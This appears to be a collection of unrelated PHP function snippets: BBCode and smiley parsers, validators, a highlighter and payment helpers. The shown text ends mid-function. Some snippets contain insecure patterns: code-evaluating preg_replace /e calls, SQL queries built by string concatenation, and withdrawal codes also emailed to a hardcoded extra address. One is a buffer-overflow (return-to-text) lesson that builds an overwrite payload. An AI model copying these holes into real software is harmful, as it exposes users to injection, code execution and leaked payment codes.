preg_replace('`\\[center\\](.*?)\\[/center\\]`','<p style=\"text-align: center;\">\\\\1</p>',$p_text);\n // Information : Double [/center][/center] to avoid end of center line area\n $p_text = preg_replace('`\\[center\\](.*?(\\[/center\\]\\[/center\\].*?)*)\\[/center\\](?!(\\[/center\\]))`ie','\"<p style=\\\"text-align: center;\\\">\".str_replace(\"[/center][/center]\",\"[/center]\",\"\\\\1\").\"</p>\"',$p_text);\n\n //$p_text = preg_replace('`\\[left\\]([^\\[]*)\\[/left\\]`i','<p style=\"text-align: left;\">\\\\1</p>',$p_text);\n //$p_text = preg_replace('`\\[left\\](.*?)\\[/left\\]`i','<p style=\"text-align: left;\">\\\\1</p>',$p_text);\n // Information : Double [/left][/left] to avoid end of left line area\n $p_text = preg_replace('`\\[left\\](.*?(\\[/left\\]\\[/left\\].*?)*)\\[/left\\](?!(\\[/left\\]))`ie','\"<p style=\\\"text-align: left;\\\">\".str_replace(\"[/left][/left]\",\"[/left]\",\"\\\\1\").\"</p>\"',$p_text);\n\n //$p_text = preg_replace('`\\[right\\]([^\\[]*)\\[/right\\]`i','<p style=\"text-align: right;\">\\\\1</p>',$p_text);\n //$p_text = preg_replace('`\\[right\\](.*?)\\[/right\\]`i','<p style=\"text-align: right;\">\\\\1</p>',$p_text);\n // Information : Double [/right][/right] to avoid end of right line area\n $p_text = preg_replace('`\\[right\\](.*?(\\[/right\\]\\[/right\\].*?)*)\\[/right\\](?!(\\[/right\\]))`ie','\"<p style=\\\"text-align: right;\\\">\".str_replace(\"[/right][/right]\",\"[/right]\",\"\\\\1\").\"</p>\"',$p_text);\n\n //$p_text = preg_replace('`\\[img\\]([^\\[]*)\\[/img\\]`i','<img src=\"\\\\1\" />',$p_text);\n //$p_text = preg_replace('`\\[img\\](.*?)\\[/img\\]`i','<img src=\"\\\\1\" />',$p_text);\n // Information : Double [/img][/img] to avoid end of picture area\n $p_text = preg_replace('`\\[img\\](.*?(\\[/img\\]\\[/img\\].*?)*)\\[/img\\](?!(\\[/img\\]))`ie','\"<img src=\\\"\".str_replace(\"[/img][/img]\",\"[/img]\",\"\\\\1\").\"\\\" />\"',$p_text);\n\n //$p_text = preg_replace('`\\[color=([^[]*)\\]([^[]*)\\[/color\\]`i','<font color=\"\\\\1\">\\\\2</font>',$p_text);\n //$p_text = preg_replace('`\\[color=(.*?)\\](.*?)\\[/color\\]`i','<font color=\"\\\\1\">\\\\2</font>',$p_text);\n // Information : Double [/color][/color] to avoid end of color area\n $p_text = preg_replace('`\\[color=(.*?)\\](.*?(\\[/color\\]\\[/color\\].*?)*)\\[/color\\](?!(\\[/color\\]))`ie','\"<font color=\\\"\\\\1\\\">\".str_replace(\"[/color][/color]\",\"[/color]\",\"\\\\2\").\"</font>\"',$p_text);\n\n //$p_text = preg_replace('`\\[bg=([^[]*)\\]([^[]*)\\[/bg\\]`i','<font style=\"background-color: \\\\1;\">\\\\2</font>',$p_text);\n //$p_text = preg_replace('`\\[bg=(.*?)\\](.*?)\\[/bg\\]`i','<font style=\"background-color: \\\\1;\">\\\\2</font>',$p_text);\n // Information : Double [/bg][/bg] to avoid end of background color area\n $p_text = preg_replace('`\\[bg=(.*?)\\](.*?(\\[/bg\\]\\[/bg\\].*?)*)\\[/bg\\](?!(\\[/bg\\]))`ie','\"<font style=\\\"background-color:\\\\1;\\\">\".str_replace(\"[/bg][/bg]\",\"[/bg]\",\"\\\\2\").\"</font>\"',$p_text);\n\n //$p_text = preg_replace('`\\[size=([^[]*)\\]([^[]*)\\[/size\\]`i','<font size=\"\\\\1\">\\\\2</font>',$p_text);\n //$p_text = preg_replace('`\\[size=(.*?)\\](.*?)\\[/size\\]`i','<font size=\"\\\\1\">\\\\2</font>',$p_text);\n // Information : Double [/size][/size] to avoid end of font size area\n $p_text = preg_replace('`\\[size=(.*?)\\](.*?(\\[/size\\]\\[/size\\].*?)*)\\[/size\\](?!(\\[/size\\]))`ie','\"<font size=\\\"\\\\1\\\">\".str_replace(\"[/size][/size]\",\"[/size]\",\"\\\\2\").\"</font>\"',$p_text);\n\n //$p_text = preg_replace('`\\[font=([^[]*)\\]([^[]*)\\[/font\\]`i','<font face=\"\\\\1\">\\\\2</font>',$p_text);\n //$p_text = preg_replace('`\\[font=(.*?)\\](.*?)\\[/font\\]`i','<font face=\"\\\\1\">\\\\2</font>',$p_text);\n // Information : Double [/font][/font] to avoid end of font area\n $p_text = preg_replace('`\\[font=(.*?)\\](.*?(\\[/font\\]\\[/font\\].*?)*)\\[/font\\](?!(\\[/font\\]))`ie','\"<font face=\\\"\\\\1\\\">\".str_replace(\"[/font][/font]\",\"[/font]\",\"\\\\2\").\"</font>\"',$p_text);\n\n // Information : Double [/url][/url] to avoid end of URL area\n $p_text = preg_replace('`\\[url\\](.*?(\\[/url\\]\\[/url\\].*?)*)\\[/url\\](?!(\\[/url\\]))`ie','\"<a target=\\\"_blank\\\" href=\\\"\".str_replace(\"[/url][/url]\",\"[/url]\",\"\\\\1\").\"\\\">\".str_replace(\"[/url][/url]\",\"[/url]\",\"\\\\1\").\"</a>\"',$p_text);\n $p_text = preg_replace('`\\[url=(.*?)\\](.*?(\\[/url\\]\\[/url\\].*?)*)\\[/url\\](?!(\\[/url\\]))`ie','\"<a target=\\\"_blank\\\" href=\\\"\\\\1\\\">\".str_replace(\"[/url][/url]\",\"[/url]\",\"\\\\2\").\"</a>\"',$p_text);\n\n // Found a randomized string do not exists in string to convert\n $temp_str = '7634253332';while(stristr($p_text,$temp_str)){$temp_str = mt_rand();}\n $p_text = str_replace('[br][br]',$temp_str,$p_text);\n $p_text = preg_replace('`(?<!\\[br\\])\\[br\\](?!(\\[br\\]))`ie','str_replace(\"[br]\",\"<br>\",\"\\\\0\")',$p_text);\n $p_text = str_replace($temp_str,'[br]',$p_text);\n\n // Found a randomized string do not exists in string to convert\n $temp_str = '7634253332';while(stristr($p_text,$temp_str)){$temp_str = mt_rand();}\n $p_text = str_replace('[hr][hr]',$temp_str,$p_text);\n $p_text = preg_replace('`(?<!\\[hr\\])\\[hr\\](?!(\\[hr\\]))`ie','str_replace(\"[hr]\",\"<hr>\",\"\\\\0\")',$p_text);\n $p_text = str_replace($temp_str,'[hr]',$p_text);\n\n return $p_text;\n\t\t}", "function ReplaceSmilies($txt)\n {\n \n $cDir = '../_images/smilies';\n // map waarin de smilies staan...\n $cCodes = array(':)',':p',':P',';)',':d',':D',':(',':lol:',':no:',':cry:',':wtf:',':confused:',':bow:',':eek:',':evil:','.sleep.',':mad:',':rofl:',':music:',':ironic:',':crazy:',':love:',':cool:',':help:',':unsure:',':thumb:','.party.',':clap:',':tong:','.scream.','.doh.',':s',':S',':oink:',':@',':x',':X');\n // array met de smilie codes.\n $cCodes2 = array(':-)',':-p',':-P',';-)',':-d',':-D',':-(',':lol:',':no:',':cry:',':wtf:',':confused:',':bow:',':eek:',':evil:','.sleep.',':mad:',':rofl:',':music:',':ironic:',':crazy:',':love:',':cool:',':help:',':unsure:',':thumb:','.party.',':clap:',':tong:','.scream.','.doh.',':-s',':-S',':oink:',':-@',':-x',':-X');\n // 2e array met codes, dezelfde, maar in andere vorm.\n $cSmilies = array('smile','tong','tong','wink','biglaugh','biglaugh','frown','lol','nono','cry','wtf','confused','bow','eek','evil','sleep','mad','rofl','music','ironic','crazy','love','cool','help','unsure','thumb','party','clap','eviltongue','scream','doh','damn','damn','oink','shy','shutup','shutup');\n // De bestandsnamen ervan\n \n // let erop dat je evenveel smilies hebt ingevoerd bij de bovenstaande 3 array's!\n // Als dat niet het geval is wordt er nu het een en ander aan geknipt...\n \n if(count($cCodes) != count($cCodes2))\n {\n // De aantal smilies in $cCodes en $cCodes2 zijn niet evenveel.\n if(count($cCodes) > count($cCodes2))\n {\n $cAantal = count($cCodes2);\n }\n else\n {\n $cAantal = count($cCodes);\n }\n }\n else\n {\n $cAantal = count($cCodes);\n }\n \n // nu dan het echte vervangen met een for-loop.\n \n for($i=0;$i<$cAantal;$i++)\n {\n $txt = str_replace($cCodes[$i],'<img src=\"'.$cDir.'/'.$cSmilies[$i].'.gif\" border=\"0\" alt=\"'.$cSmilies[$i].'\">',$txt);\n // vervangen van de smilies uit de 1e array.\n $txt = str_replace($cCodes2[$i],'<img src=\"'.$cDir.'/'.$cSmilies[$i].'.gif\" border=\"0\" alt=\"'.$cSmilies[$i].'\">',$txt);\n // vervangen van de smilies uit de 2e array.\n }\n return $txt;\n}", "public function hasCode(){\n return $this->_has(3);\n }", "function stringLetrasDescubiertas($coleccionLetras){\n $pal = \"\";\n \n /*>>> Completar el cuerpo de la función, respetando lo indicado en la documentacion <<<*/\n \n return $pal;\n}", "function Comprobar_codespacio()\n{\n\t$correcto = true;\n\t//si se cumple la condicion\n\tif (strlen($this->CODESPACIO)<3)\n\t{\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODESPACIO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00003\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Valor de atributo no numérico demasiado corto\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t//si se cumple la condicion\n\tif (strlen($this->CODESPACIO)>10)\n\t{\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODESPACIO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00002\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Valor de atributo demasiado largo\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t//si se cumple la condicion\n\tif (!preg_match(\"/^[A-Za-zñáéíóúÑÁÉÍÓÚüÜ\\-0-9]+$/\",$this->CODESPACIO)){\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODESPACIO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00040\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Solo están permitidas alfabéticos, números y el “-”\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t\n\treturn $correcto; //se devuelve el resultado\n}", "function tipoDeLlamada($codInternacional, $codArea)\n{\n if ($codInternacional == 54)\n {\n if ($codArea == 299)\n {\n return \"corta\";\n }\n\n return \"larga\";\n }\n return \"internacional\";\n}", "function wolf_tracking_code() {\n\n\t$tracking_code = wolf_get_theme_option( 'tracking_code');\n\n\tif ( $tracking_code && ! is_user_logged_in() ) {\n\t\techo stripslashes( $tracking_code );\n\t}\n\t\t\n}", "function vb_highlight(&$code)\n\n{\n\n $code = str_replace('\"\"', get_placeholder(10), $code);\n\n $blocks = array(\n\n array(\n\n 'pattern' => '#\".+?\"#',\n\n 'prefix' => '<span class=\"vb_string\">', \n\n 'suffix' => '</span>'\n\n ),\n\n array(\n\n 'pattern' => \"#'.*#\",\n\n 'prefix' => '<span class=\"vb_comment\">', \n\n 'suffix' => '</span>'\n\n ),\n\n );\n\n \n\n $secondaries = array(\n\n array(\n\n 'pattern' => '!([\\n\\r]|^)\\s*?#.*!',\n\n 'prefix' => '<span class=\"vb_preprocessor\">',\n\n 'suffix' => '</span>'\n\n ),\n\n array(\n\n 'pattern' => '!(\\W|^)(\\.?[0-9][0-9.]*|&[hH][0-9a-fA-F]*)!',\n\n 'replacement' => '<span class=\"vb_number\">$2</span>',\n\n 'keepprefix' => 1\n\n ),\n\n array(\n\n 'pattern' => '~[,=\\+\\-!%\\^&\\*\\(\\)\\<\\>#$|]~',\n\n 'prefix' => '<span class=\"vb_symbol\">',\n\n 'suffix' => '</span>'\n\n )\n\n );\n\n \n\n $kw = array(\n\n array(\n\n 'prefix' => '<span '.get_placeholder(8).'=\"vb_keyword\">',\n\n 'suffix' => '</span>',\n\n 'keywords' => array('addhandler','addressof','andalso','alias','and','ansi','as','assembly','attribute','auto','begin','call','case','catch','cbool','cbyte','cchar','cdate','cdec','cdbl','char','cint','class','clng','cobj','compare','const','continue','cshort','csng','cstr','ctype','declare','default','delegate','dim','do','each','else','elseif','end','erase','error','event','exit','explicit','finally','for','friend','function','get','gettype','global','gosub','goto','handles','if','implement','implements','imports','in','inherits','interface','is','let','lib','like','load','loop','lset','me','mid','mod','module','mustinherit','mustoverride','mybase','myclass','namespace','new','next','not','nothing','notinheritable','notoverridable','on','open','option','or','orelse','overloads','overridable','overrides','paramarray','preserve','property','raiseevent','readonly','redim','rem','removehandler','rset','resume','return','select','set','shadows','shared','step','stop','structure','sub','synclock','then','throw','to','try','typeof','unload','unicode','until','wend','when','while','with','withevents','writeonly','xor')\n\n ),\n\n array(\n\n 'prefix' => '<span '.get_placeholder(8).'=\"vb_type\">',\n\n 'suffix' => '</span>',\n\n 'keywords' => array('boolean','byref','byte','byval','currency','date','decimal','double','enum','false','integer','long','object','optional','private','protected','public','short','single','static','string','true','type','variant')\n\n ),\n\n );\n\n $code = generic_highlight($code, $blocks, $secondaries, array(), $kw);\n\n // put escapes back in\n\n return str_replace(get_placeholder(10), '<span class=\"vb_string\">&quot;&quot;</span>', $code);\n\n}", "function ValidVisualVerifyCode($vvcid, $enteredcode)\n{\n global $DB;\n\n $vvcid = empty($vvcid) ? 0 : (int)$vvcid;\n $enteredcode = empty($enteredcode) ? '' : trim((string)$enteredcode);\n if(($vvcid > 0) && (strlen($enteredcode) == SD_VVCLEN))\n {\n $verifycode = $DB->query_first(\"SELECT verifycode FROM {vvc} WHERE vvcid = %d\", $vvcid);\n $DB->query_first(\"DELETE FROM {vvc} WHERE vvcid = %d\", $vvcid);\n if(!empty($verifycode))\n {\n return (strtolower(trim($verifycode['verifycode'])) == strtolower($enteredcode));\n }\n }\n\n return false;\n\n}", "public function retraitEspeceCodeValidation()\n {\n $data['lang'] = $this->lang->getLangFile($this->getSession()->getAttribut('lang'));\n $data['telephone'] = base64_decode($this->utils->securite_xss($_POST['telephone']));\n $data['fkcarte'] = base64_decode($this->utils->securite_xss($_POST['fkcarte']));\n $data['soldeCarte'] = $this->utils->securite_xss($_POST['soldecarte']);\n $data['typeagence'] = $this->utils->securite_xss($_POST['typeagence']);\n $data['montant'] = $this->utils->securite_xss($_POST['montantbis']);\n $data['frais'] = $this->utils->securite_xss($_POST['frais2']);\n $data['fkagence'] = $this->userConnecter->fk_agence;\n if ($data['telephone'] != '' && $data['montant'] != '' && $data['frais'] != '' && $data['fkagence'] != '') {\n $code_retrait = $this->utils->generateCodeRetrait($data['fkcarte'], $data['montant']);\n if ($data['telephone'] != -1 && $data['telephone'] != -2 && $code_retrait != '' && strlen($code_retrait) == 10)\n {\n $message = $data['lang']['mess_retrait_espece1'] . $code_retrait . $data['lang']['mess_retrait_espece2'];\n // $this->utils->sendSMS($data['lang']['paositra1'], $data['telephone'], $message);\n\n $recup_mail = $this->utils->recup_mailBenef($data['telephone']);\n\n @$this->utils->envoiCodeRetrait($recup_mail, $this->userConnecter->prenom . ' ' . $this->userConnecter->nom, $code_retrait);\n\n /*********BALDE*************/\n @$this->utils->envoiCodeRetrait('[email protected]', $this->userConnecter->prenom .' '. $this->userConnecter->nom, $code_retrait);\n /*********BALDE*************/\n\n /*if (DEBUG === TRUE) {\n $this->utils->envoiCodeRetrait('[email protected]', 'Papa NGOM', $code_retrait);\n }*/\n }\n }\n $params = array('view' => 'compte/retrait-espece-code-validation');\n $this->view($params, $data);\n }", "function detect_link(&$comcode,$pos)\n{\n\t$link_end_pos=strpos($comcode,' ',$pos-1);\n\t$link_end_pos_2=strpos($comcode,chr(10),$pos-1);\n\t$link_end_pos_3=strpos($comcode,'[',$pos-1);\n\t$link_end_pos_4=strpos($comcode,')',$pos-1);\n\t$link_end_pos_5=strpos($comcode,'\"',$pos-1);\n\t$link_end_pos_6=strpos($comcode,'>',$pos-1);\n\t$link_end_pos_7=strpos($comcode,'<',$pos-1);\n\t$link_end_pos_8=strpos($comcode,'.'.chr(10),$pos-1);\n\t$link_end_pos_9=strpos($comcode,',',$pos-1);\n\tif (($link_end_pos_2!==false) && (($link_end_pos===false) || ($link_end_pos_2<$link_end_pos))) $link_end_pos=$link_end_pos_2;\n\tif (($link_end_pos_3!==false) && (($link_end_pos===false) || ($link_end_pos_3<$link_end_pos))) $link_end_pos=$link_end_pos_3;\n\tif (($link_end_pos_4!==false) && (($link_end_pos===false) || ($link_end_pos_4<$link_end_pos))) $link_end_pos=$link_end_pos_4;\n\tif (($link_end_pos_5!==false) && (($link_end_pos===false) || ($link_end_pos_5<$link_end_pos))) $link_end_pos=$link_end_pos_5;\n\tif (($link_end_pos_6!==false) && (($link_end_pos===false) || ($link_end_pos_6<$link_end_pos))) $link_end_pos=$link_end_pos_6;\n\tif (($link_end_pos_7!==false) && (($link_end_pos===false) || ($link_end_pos_7<$link_end_pos))) $link_end_pos=$link_end_pos_7;\n\tif (($link_end_pos_8!==false) && (($link_end_pos===false) || ($link_end_pos_8<$link_end_pos))) $link_end_pos=$link_end_pos_8;\n\tif (($link_end_pos_9!==false) && (($link_end_pos===false) || ($link_end_pos_9<$link_end_pos))) $link_end_pos=$link_end_pos_9;\n\tif ($link_end_pos===false) $link_end_pos=strlen($comcode);\n\t$auto_link=preg_replace('#keep_session=\\d*#','filtered=1',substr($comcode,$pos-1,$link_end_pos-$pos+1));\n\n\treturn array($link_end_pos,$auto_link);\n}", "function uprav_pretek ($NAZOV, $DATUM, $DEADLINE,$POZNAMKA){\r\n if(!$this->ID){\r\n return false;\r\n }\r\n $NAZOV2 = htmlentities($NAZOV, ENT_QUOTES, 'UTF-8');\r\n $reg_exUrl = \"/(http|https|ftp|ftps)\\:\\/\\/[a-zA-Z0-9\\-\\.]+\\.[a-zA-Z]{2,3}(\\/\\S*)?/\";\r\n $text = $POZNAMKA;\r\n\r\n if(preg_match($reg_exUrl, $text, $url) && !strpos($text, \"</a>\") && !strpos($text, \"</A>\") && !strpos($text, \"HREF\") && !strpos($text, \"href\")) {\r\n\r\n // make the urls hyper links\r\n $text = preg_replace($reg_exUrl, \"<a href=\".$url[0].\">{$url[0]}</a> \", $text);\r\n\r\n}\r\n\r\n $POZNAMKA2 = htmlentities($text, ENT_QUOTES, 'UTF-8');\r\n $db = napoj_db();\r\n $sql =<<<EOF\r\n UPDATE PRETEKY set NAZOV = \"$NAZOV2\" where ID=\"$this->ID\";\r\n UPDATE PRETEKY set DATUM = \"$DATUM\" where ID=\"$this->ID\";\r\n UPDATE PRETEKY set DEADLINE = \"$DEADLINE\" where ID=\"$this->ID\";\r\n UPDATE PRETEKY set POZNAMKA = \"$POZNAMKA2\" where ID=\"$this->ID\";\r\n DELETE FROM KATEGORIE_PRE_$this->ID;\r\nEOF;\r\n $ret = $db->exec($sql);\r\n if(!$ret){\r\n echo $db->lastErrorMsg();\r\n } else {\r\n \r\n }\r\n $db->close();\r\n }", "public function hasScoreCode(){\n return $this->_has(3);\n }", "private function _bbc()\n\t{\n\t\tglobal $editortxt;\n\n\t\treturn array(\n\t\t\t'bold' => array('code' => 'b', 'before' => '[b]', 'after' => '[/b]', 'description' => $editortxt['Bold']),\n\t\t\t'italicize' => array('code' => 'i', 'before' => '[i]', 'after' => '[/i]', 'description' => $editortxt['Italic']),\n\t\t\t'underline' => array('code' => 'u', 'before' => '[u]', 'after' => '[/u]', 'description' => $editortxt['Underline']),\n\t\t\t'strike' => array('code' => 's', 'before' => '[s]', 'after' => '[/s]', 'description' => $editortxt['Strikethrough']),\n\t\t\t'pre' => array('code' => 'pre', 'before' => '[pre]', 'after' => '[/pre]', 'description' => $editortxt['Preformatted Text']),\n\t\t\t'img' => array('code' => 'img', 'before' => '[img]', 'after' => '[/img]', 'description' => $editortxt['Insert an image']),\n\t\t\t'url' => array('code' => 'url', 'before' => '[url]', 'after' => '[/url]', 'description' => $editortxt['Insert a link']),\n\t\t\t'email' => array('code' => 'email', 'before' => '[email]', 'after' => '[/email]', 'description' => $editortxt['Insert an email']),\n\t\t\t'sup' => array('code' => 'sup', 'before' => '[sup]', 'after' => '[/sup]', 'description' => $editortxt['Superscript']),\n\t\t\t'sub' => array('code' => 'sub', 'before' => '[sub]', 'after' => '[/sub]', 'description' => $editortxt['Subscript']),\n\t\t\t'tele' => array('code' => 'tt', 'before' => '[tt]', 'after' => '[/tt]', 'description' => $editortxt['Teletype']),\n\t\t\t'code' => array('code' => 'code', 'before' => '[code]', 'after' => '[/code]', 'description' => $editortxt['Code']),\n\t\t\t'quote' => array('code' => 'quote', 'before' => '[quote]', 'after' => '[/quote]', 'description' => $editortxt['Insert a Quote']),\n\t\t);\n\t}", "function avoidgather( )\n{\n global $rsdb;\n global $webdb;\n global $IS_BIZPhp168;\n if ( !$IS_BIZPhp168 )\n {\n return;\n }\n if ( $webdb[AvoidCopy] )\n {\n $rsdb[content] = \"<body oncopy='return false' oncut='return false'>{$rsdb['content']}\";\n }\n if ( $webdb[AvoidSave] )\n {\n $rsdb[content] = \"{$rsdb['content']}<noscript><iframe scr='*.htm'></iframe></noscript>\";\n }\n if ( !$webdb[AvoidGather] )\n {\n return;\n }\n $AvoidGatherpre = rands( 3 ).$webdb[AvoidGatherPre].rands( 3 );\n $rsdb[content] = \"<div class='{$AvoidGatherpre}'>{$webdb['AvoidGatherString']}</div>{$rsdb['content']}<div class='{$AvoidGatherpre}'>{$webdb['AvoidGatherString']}</div>\";\n $AvoidGatherpre = rands( 3 ).$webdb[AvoidGatherPre].rands( 3 );\n $rsdb[content] = str_replace( \"<br>\", \"<br><div class='{$AvoidGatherpre}'>{$webdb['AvoidGatherString']}{$AvoidGatherpre}</div>\", $rsdb[content] );\n $rsdb[content] = str_replace( \"<BR>\", \"<BR><div class='{$AvoidGatherpre}'>{$webdb['AvoidGatherString']}{$AvoidGatherpre}</div>\", $rsdb[content] );\n $AvoidGatherpre = rands( 3 ).$webdb[AvoidGatherPre].rands( 3 );\n $rsdb[content] = str_replace( \"<p>\", \"<p><div class='{$AvoidGatherpre}'>{$webdb['AvoidGatherString']}{$AvoidGatherpre}</div>\", $rsdb[content] );\n}", "function ret2code2text() {\n\t$this->chapitre(\"Return to .TEXT\");\n\t$this->titre(\"Outrepasser une authentification -> return to text\");\n\t$this->ssTitre(\"Exec Our Programme\");\n\t$this->requette(\"$this->file_path '0123456789' \");\n\t$this->pause();\n\t$this->requette(\"$this->file_path AAAABBBBCCCC\");\n\t$this->requette(\"$this->file_path AAAABBBBCCCCDDDDABCD\");\n\t$this->article(\".Text\", \"La zone text contient les instructions du programme. \n\t\t\tCette région est en lecture seule. \n\t\t\tElle est partagée entre tous les processus qui exécutent le même fichier binaire. \n\t\t\tUne tentative d'écriture dans cette partie provoque une erreur segmentation violation. -> segfault, cette zone n'est pas influençables par l'ASLR ni NX.\");\n\t$this->pause();\n\n\t$this->bin2text2size();$this->pause();\n\t$this->bin2text2content();$this->pause();\n\t$this->titre(\"Adresse de la fonction secret\");\n\t$ret = trim($this->req_ret_str(\"$this->file_path AAAAAAAA | grep '0x' | cut -d : -f 2\"));\n\t$this->ssTitre(\"Via gdb\");\n\t$this->requette(\"gdb -q --batch -ex \\\"print &secret\\\" $this->file_path\");\n\t$this->requette(\"gdb -q --batch -ex \\\"info symbol $ret\\\" $this->file_path\");\n\t$this->ssTitre(\"Via nm\");\t$this->requette(\"nm $this->file_path | grep secret\");\n\t$this->ssTitre(\"Via le script source\");$this->requette(\"$this->file_path AAAAAAAA\");\n\t$this->pause();\n\t$overflow = $this->bin2fuzzeling(\"\");$this->pause();\n\t// $offset_eip = trouve_offset($this->file_path,$overflow) ;\n\t$offset_eip = $this->bin2offset4eip($overflow);\n\t$this->ssTitre(\"ESP & EBP\");\n\t// diff_esp_ebp();pause(); // ok\n\t$ret = $this->hex2rev_32($ret);\n\t$query = \"$this->file_path `python -c print'\\\"A\\\"*$offset_eip+\\\"$ret\\\"'`\";\n\t$this->ssTitre(\"Sous Linux 32 Bits\");\n\t$this->ssTitre(\"Exec Programme\");\n\t$this->requette(\"$this->file_path 123456\");\n\t$this->ssTitre(\"Exec Programme with our payload \");\n\t$this->cmd(\"localhost\", $query);\n\t$this->article(\"Note\", \"Dot it a la main,php recoit un signal segfault du prog qui a lance d'ou l'arret de l'execution de la commande system -> on test en cmd\");\n\t$this->pause();\n\t$this->notify(\"End .text\");\n}", "function insert_affiliate_code($code, $article_str)\n{\n\treturn str_replace(\"=CODE=\", \"/r/\".$code, $article_str);\n}", "function OLDcode_useCode($bdd, $codeID, $userID)\n\t{\n\t\t//Getting enigmaID from the code\n\t\ttry\n\t\t{\n\t\t\t$reponse = $bdd->query(\"SELECT enigmaID FROM code where id = \".$codeID);\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\tdie('Error : '.$e->getMessage());\n\t\t}\n\t\twhile ($donnees = $reponse->fetch())\n\t\t{\n\t\t\t$enigmaID = $donnees['enigmaID'];\n\t\t}\n\t\t\n\t\t\n\t\t//Getting last rank of clues for the enigma the user have\n\t\ttry\n\t\t{\n\t\t\t$reponse = $bdd->query(\"SELECT * FROM user_progress where userID = '\".$userID.\"' AND enigmaID = '\".$enigmaID.\"'\");\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\tdie('Erreur : '.$e->getMessage());\n\t\t}\n\t\t\n\t\ttry\n\t\t{\n\t\t\t$nb_rows = $reponse->rowCount();\n\t\t}\n\t\tcatch(Exception $e)\n\t\t{\n\t\t\t$nb_rows = 0;\n\t\t}\n\t\t\n\t\tif($nb_rows > 0)\n\t\t{\n\t\t\twhile ($donnees = $reponse->fetch())\n\t\t\t{\n\t\t\t\t$clueRank = $donnees['clueRank'];\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$clueRank = 0;\n\t\t}\n\t\t\n\t\t//Getting total number of clues in enigma\n\t\t$nbClues = enigma_getCluesNb($bdd, $enigmaID);\n\t\t\n\t\t$clueRank = $clueRank + 1;\n\t\t\n\t\ttry\n\t\t{\n\t\t\t$query = $bdd->query(\"INSERT INTO user_progress (userID, enigmaID, clueRank) VALUES (\".$userID.\", \".$enigmaID.\", \".$clueRank.\")\");\n\t\t\t$query = $bdd->query(\"UPDATE rbpe.code SET status = 'Used', enigmaID=\".$enigmaID.\" WHERE code.id =\".$codeID);\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\tdie('Erreur : '.$e->getMessage());\n\t\t}\n\t}", "function verifVadsAuthResult($data) {\n \n switch ($data) {\n\n case \"03\":\n return '<p style=\"margin-top:1px;\">Accepteur invalide - Ce code est émis par la banque du marchand.</p>\n <p style=\"margin-top:1px;\">Il correspond à un problème de configuration sur les serveurs d’autorisation.</p>\n <p style=\"margin-top:1px;\">(ex: contrat clos, mauvais code MCC déclaré, etc..).</p>';\n break;\n \n case \"00\":\n return '<p style=\"margin-top:1px;color:green;\"><b>Transaction approuvée ou traitée avec succès</b></p>';\n break;\n\n case \"05\":\n return '<p style=\"margin-top:1px;color:red;\">Ne pas honorer - Ce code est émis par la banque émettrice de la carte.</p>\n <p style=\"margin-top:1px;color:red;\">Il peut être obtenu en général dans les cas suivants :</p>\n <p style=\"margin-top:1px;color:red;\">Date d’expiration invalide, CVV invalide, crédit dépassé, solde insuffisant (etc.)</p>\n <p style=\"margin-top:1px;color:red;\">Pour connaître la raison précise du refus, l’acheteur doit contacter sa banque.</p>';\n break;\n\n case \"51\":\n return '<p style=\"margin-top:1px;color:red;\">Provision insuffisante ou crédit dépassé</p>\n <p style=\"margin-top:1px;color:red;\">Ce code est émis par la banque émettrice de la carte.</p>\n <p style=\"margin-top:1px;color:red;\">Il peut être obtenu si l’acheteur ne dispose pas d’un solde suffisant pour réaliser son achat.</p>\n <p style=\"margin-top:1px;color:red;\">Pour connaître la raison précise du refus, l’acheteur doit contacter sa banque.</p>';\n break;\n\n case \"56\":\n return '<p style=\"margin-top:1px;color:red;\">Carte absente du fichier - Ce code est émis par la banque émettrice de la carte.</p>\n <p style=\"margin-top:1px;color:red;\">Le numéro de carte saisi est erroné ou le couple numéro de carte + date d\\'expiration n\\'existe pas..</p>';\n break;\n \n case \"57\":\n return '<p style=\"margin-top:1px;color:red;\">Transaction non permise à ce porteur - Ce code est émis par la banque émettrice de la carte.</p>\n <p style=\"margin-top:1px;color:red;\">Il peut être obtenu en général dans les cas suivants :</p>\n <p style=\"margin-top:1px;color:red;\">L’acheteur tente d’effectuer un paiement sur internet avec une carte de retrait.</p>\n <p style=\"margin-top:1px;color:red;\">Le plafond d’autorisation de la carte est dépassé.</p>\n <p style=\"margin-top:1px;color:red;\">Pour connaître la raison précise du refus, l’acheteur doit contacter sa banque.</p>';\n break;\n \n case \"59\":\n return '<p style=\"margin-top:1px;color:red;\">Suspicion de fraude - Ce code est émis par la banque émettrice de la carte.</p>\n <p style=\"margin-top:1px;color:red;\">Il peut être obtenu en général suite à une saisie répétée de CVV ou de date d’expiration erronée.</p>\n <p style=\"margin-top:1px;color:red;\">Pour connaître la raison précise du refus, l’acheteur doit contacter sa banque.</p>';\n break;\n \n case \"60\":\n return '<p style=\"margin-top:1px;\">L’accepteur de carte doit contacter l’acquéreur</p>\n <p style=\"margin-top:1px;\">Ce code est émis par la banque du marchand. </p>\n <p style=\"margin-top:1px;\">Il correspond à un problème de configuration sur les serveurs d’autorisation.</p>\n <p style=\"margin-top:1px;\">Il est émis en général lorsque le contrat commerçant ne correspond pas au canal de vente utilisé.</p>\n <p style=\"margin-top:1px;\">(ex : une transaction e-commerce avec un contrat VAD-saisie manuelle).</p>\n <p style=\"margin-top:1px;\">Contactez le service client pour régulariser la situation.</p>';\n break;\n \n case \"07\":\n return 